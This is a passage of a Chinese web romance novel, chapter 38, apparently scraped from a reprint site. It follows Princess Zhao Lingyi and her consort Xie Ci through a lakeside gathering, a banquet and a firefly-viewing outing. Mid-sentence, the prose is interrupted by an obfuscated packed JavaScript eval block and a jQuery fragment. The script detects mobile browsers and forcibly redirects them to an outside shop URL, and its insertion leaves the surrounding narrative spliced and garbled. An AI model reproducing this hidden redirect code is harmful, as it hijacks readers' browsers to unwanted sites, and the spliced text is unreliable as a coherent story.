38. 038

作品:《只因驸马太过貌美

    赵令仪没想到谢辞会来,赶忙迎上去说,“驸马,你怎么来了?”


    碍于有外人在场,谢辞欲言又止,正色道:“随便看看。”


    赵令仪不明所以地眨眨眼,也不知道他要看什么。


    “食单,核对好了吗?”


    赵令仪看着谢辞拿腔拿调的模样,忽然懂了在宫人面前,两人多少得收敛点就,于是陪他演着,“好了,要不驸马看看?需要加些什么?”


    “不必了。”


    厨房众人悄声窃窃私语,不时地发出轻笑,赵令仪收了食单,放在郝嬷嬷手上,主仆俩人目光交汇,立马明了,总要留个心细之人来看着后厨。


    “驸马,这厨房太热,不如我们先出去?”


    “好。”谢辞求之不得。


    两人并肩沿溪行,谢辞放慢脚步,跟随着赵令仪的步伐,慢悠悠地走着。


    赵令仪目光看向远处崇山。


    这山可真青翠啊。


    又转眼看向溪水。


    这水可真清澈啊。


    “谢辞!咱们在这玩一会吧。”赵令仪跑到溪边,指了指脚下的水。


    谢辞点点头,也不知为何,还是听赵令仪叫他谢辞安心些。


    原本只是姐妹游会,她本可以肆无忌惮毫无顾忌地玩耍,但母后改为集会后,她必须要负起责任。


    负责任归负责任,也不耽误忙里偷会闲,再看谢辞呢,能与妻子独处一会,他自然是没有意见。


    溪水如碧色绸缎潺潺而过,溪边浑圆的鹅卵石,拼接成凹凸不平的小路,赵令仪一时间不适应,在她差点滑倒之前,一双手稳稳地握住了她。


    赵令仪笑着看着他,谢辞明知顾问:“在看什么?”


    赵令仪立马正经,学着他的样子,“随便看看。”


    谢辞无奈地笑笑。


    地上的石头那么多,赵令仪偏偏独辟蹊径地喜欢挑些奇形怪状的石头踩玩,好在有谢辞稳稳地托住她,眼底略有无奈,手上护着她安全。


    记得儿时,她与八哥喜欢奇特之物,有一年,常州进贡齐天太湖石,足有五丈之高,宛若小山。


    她和八哥那时还小,就顺着石头往上爬,比拼谁能爬到顶上,刚爬到一半,就被谢辞一手一个拎下来,提着就走。


    想到这,再与眼前的他一比,谢辞确实迁就她,改变许多。


    “殿下想到什么开心事了?”谢辞云淡风轻地问道。


    “没有啊。”


    赵令仪笑起来,唇角弯起月牙的弧度,让谢辞看了也忍不住弯唇。


    “玩够了,回去。”


    赵令仪转身刚要走,忽而看到两道熟悉身影,目光骤然一聚,推着谢辞躲到大树旁边。


    听竹和书琴也跟着躲在不远处。


    似曾相识的场面,赵令仪躲在谢辞身后,谢辞背靠着树干,视线全然落在赵令仪身上。


    “怎么了?”


    赵令仪轻轻地指了指不远处,是秦王和孟婉。


    “他们在说什么啊?”赵令仪只露出一只眼,双手毫无顾忌地抓着谢辞的袖子,一副随时要逃跑的样子。


    谢辞缓缓滚了滚喉咙,熟悉的灼烧仿佛要冲破胸口,他极力克制压抑着,抬头望向湛蓝天空,微微闭眼,又睁开,低沉声音带着几分疑惑:“我们,为何要躲?”


    赵令仪反应过来,直起身,抬头说:“那也不能打扰他们吧。”


    谢辞抿抿唇,欲言又止,他其实想说,你八哥没你想象的那么单纯。


    彼时,背对着他们的赵奉明,规矩地行礼目送孟婉离开,忽然原地打转,似乎在找东西,嘴里嘟囔着丢哪了?


    赵令仪一个激灵地躲回谢辞怀里,耳边声音竟然越来越近,忽而听到八哥声音,如雷一般在耳边炸开。


    “找到了!”赵奉明拍着妹妹,“你们在这干嘛呢?”


    “八哥...”赵令仪心虚地笑着,把谢辞的衣服理好,想来她也不必做贼心虚,于是挺直腰板,“你在这干嘛呢?”


    “我在做什么,你不都看见了吗?”赵奉明眼底带着似笑非笑的笑意。


    “所以,你们说什么了?”赵令仪试探地问。


    赵奉明故作高深地停顿,逗着妹妹:“想知道?”


    赵令仪真诚地点头:“嗯嗯。”


    赵奉明抬手遮住嘴,缓缓靠近,“就不告诉你!”


    饶有兴致地笑容,骤然凝固在脸上,碍于谢辞在场,赵令仪没有大展拳脚,言行逼供,而是象征性地拍了八哥肩膀两下:“你耍我?”


    明明是如棉花一般轻飘飘的两拳,赵奉明像是胳膊都掉了一般,捂着肩膀,龇牙咧嘴喊着痛。


    赵令仪下意识地看向谢辞,实际上谢辞看着兄妹俩吵闹地长大,早已习惯。


    “九公主”赵奉明后退两步,扭曲的神情忽而变成笑脸,“什么时候开饭啊,我饿了!”


    “吃吃吃。”赵令仪拎着拳头,去追八哥,嘴里大喊着,“站住,吃我一拳!”


    谢辞像慈母一般,在后面无奈地喊着:“慢点。”


    -


    回到宴会厅,准备开宴。


    赵令仪一转头,看到王朗走来,她微微颔首行礼。


    “九殿下!”王朗洋溢热情,离老远边鞠躬行礼边走过来,“听闻冷泉榭有集会,我恬不知耻地来凑个热闹。”


    赵令仪笑得端庄,两人生意还未合作,倒也不必太过避嫌:“欢迎欢迎,你先去坐吧,马上就要开宴了。”


    王朗此番前来,也是怕妹妹受欺负,王芝看到哥哥来,像是看到救星,跟在哥哥身后寸步不离。


    王朗人如其名,性格开朗,有些自来熟,与秦王相谈甚欢,更何况王明正督查冰饮案,自然也不好冷落王朗。


    赵令仪回到宴席上,主座一共两个位置,八哥已坐到旁边,另一个位置自然给她留着,可她转眼一看,是谁把郑鸢孟婉安排到一起了?


    赵令仪作为主家,自然大方地嘱咐道:“大家不必拘束,轻松自在一些便好。”


    “对。”赵奉明接着妹妹的话,举杯道:“九公主说得没错,大家都是同辈,既是出来玩,便要玩得尽兴。”


    赵令仪举起杯,不过她这次可不敢饮酒,怕误事,她心不虚,自然看向谢辞时是笑着的,抿了一口茶,抬手示意,夫妻俩隔空致意。


    赵令仪刚放下茶杯,听到身旁的八哥问:“怎么,郑姑娘,饭菜不合胃口?”


    郑鸢毫不避讳地皱眉,“回殿下,许是吃惯粗茶淡饭,吃不惯山珍海味。”


    “来人将孟姑娘的冷食...”


    赵令仪踢了一下八哥,把话接过来:“不必撤冷食,我让厨房蒸了些蜜薯饭,还有清淡的翡翠菜,一会就上来了。”


    赵令仪不耐烦地瞪了一眼八哥,男人的花心还真是无师自通,一会关心这个,一会照顾那个,就算是她感情至深的八哥,她也不免心中嫌弃。


    话音刚落,八哥还要说什么,赵令仪立马接上:“怎么,莫非是秦王殿下不满意我的安排?”


    “哎呦,我哪敢啊?”赵奉明转而说道,“听闻冷泉榭最有名的就是溪上流萤,各位若是想看,届时咱们可以一同观赏啊。”


    赵令仪沉默不语,年年来芙蓉城,每每到冷泉榭,怎么还看不够吗?


    忽而她意识到,她还没和谢辞一起看过。


    王朗:“早就听闻冷泉榭流萤很美,若是观赏,可否带我和小妹?”


    王芝虽没出声,但也一脸期待。


    “好啊,都来都来。”赵令仪笑着对上谢辞的目光。


    用饭过后,住宿成了问题,如今多了王朗,但这难不倒九公主。


    冷泉榭客栈多为两人间,她与孟婉一间,段文琴和莫千语一间,王芝姑娘需要照顾,就与七姐一间,郑鸢要求自己一间。


    至于男宾们,谢辞和秦王,王朗和莫万臣,景王自己单独一间。


    大家都没有意见...


    谢辞有。


    众人准备回房间时,赵令仪不明所以地看着谢辞,下意识地扬起笑容,谁成想八哥过来,不由分说地把谢辞一下便“掳走”了。


    赵令仪嘁了一声,直接去去找孟婉,主动地挽着她回房间。


    虽说赵露仪就住在妹妹旁边


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17400933|196631||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,可也是舍不得,不过想来确实要照顾一下王家妹妹。


    赵令仪都不知道自己魅力有多大,该有多叫人念念不忘,回房间后,她对着静台,先洗掉荷花膏,再重新涂上胭脂。


    孟婉对胭脂水粉一窍不通,但看着赵令仪也不由得好奇,仿佛九殿下天生有总魅力,无论做什么都无形地吸引人注意力。


    “孟姐姐。”赵令仪特地套近乎地说道,“你真的不去看流萤吗?”


    “云州多得是,我已经看腻了。”


    “哦,这倒也是,但其实很多游玩啊集会,都不是以赏花看水为目的。”赵令仪轻叹,“还不是为了人际交往。”


    “九殿下着实聪慧,所以,我不想去,你应该知道我的心思。”


    赵令仪握着眉笔的手一顿,试探性地问:“这些未成婚的公子中,就没有孟姐姐中意之人?”


    孟婉很少在人面前流露出自己真实情绪,正如她此时眼底涌现一丝落寞,“我的婚姻,不应该掺杂太多情感。”


    “其实我八哥这人,还挺好的,文武双全...”


    赵令仪到底是年轻,夸人没有个轻重,这话谁听了都只会信一半,但孟婉似乎全信了。


    “文物双全也未必是好事。”


    “何处此言?”


    “文武双全,人易犟,这样的热人,性情定是偏执。”


    “为何?”


    也不知为何,赵令仪脑海里不禁浮现谢辞的脸,可她仔细想想,好像也没发现谢辞有多犟。


    “一个人,若是学识渊博,定有他自己认定的道理,再加上武艺高强,能强制地坚守的底线,道理讲不过,那就打。”


    赵令仪听了仔细回想,确实有些道理,她忍不住捧腹大笑,许是笑得太过有感染力,孟婉也忍不住笑起来,直言不讳道:“若是说你八哥的优点,也就是生了一副好皮囊。”


    听闻这话,赵令仪灵机一动,她与八哥容貌有七八分相像,不如就此撒娇求求孟婉,跟她一起去看流萤。


    -


    果然,此招奏效。


    暮色浸凉,溪面浮着一层薄烟,岸芷上流萤如星辰般,映着溪流泛着点点荧光。


    赵令仪挽着孟婉,即便是看过千百次,依旧劲头十足地“哇”了一声。


    走进溪边才看到,只有谢辞和赵奉明。


    赵令仪好奇地问:“哎?其他人呢?”


    “可能是不喜欢看吧。”谢辞淡淡地说道。


    旁边的赵奉明探头,挑眉,震惊一气呵成,他心里呐喊着,不是你把人都撵走的吗?


    谢辞怕事情败露,做了个请的姿势,“那边视野更好。”


    “好,走吧。”


    谢辞与赵令仪并肩走在前面,也看不到身后赵奉明和孟婉。


    “驸马,你看那。”赵令仪指着对岸芦苇荡上,流萤团最多的一处,那里的流萤尤为亮,“小时候,我和八哥喜欢到对岸捉流萤,比...”


    话音刚落,兄妹俩像是有心灵感应似地,听到赵奉明在后面喊:“哎,小九,要不要比一比,谁做的萤灯最亮啊?”


    “比就比,谁怕谁。”赵令仪指着溪上桥,“走!”


    谢辞和孟婉无奈地在后面跟着。


    赵令仪穿着浅粉罗裙,下意识地去把八哥面前的流萤全都赶走,兄妹俩又扭打起来。


    “别打架。”


    谢辞平淡的声音,却很有威力,兄妹俩一下子松开,用眼神较量着。


    平日里赵奉明都是明面抵抗,暗中让着妹妹,可今日也不知怎么,抓得那叫一个起劲。


    夜风拂过水面,朦胧荧光勾勒着赵令仪娇俏的小脸,谢辞站在不远处,目光轻轻地落在赵令仪身上,浑然未觉嘴角勾起的笑意。


    成婚之初,他觉得九殿下自小娇惯,性情难改,虽是聪慧,却也幼稚。


    可他越发地觉得,并非如此,她不但睿智,且有胆识与魄力。


    罗裙如花瓣,泛起滚滚涟漪,谢辞心头随着颤动,耳边忽而只剩溪水蝉鸣,眼中只有那一抹笑颜。


    漫天流萤,心旌摇曳。


    不止一人。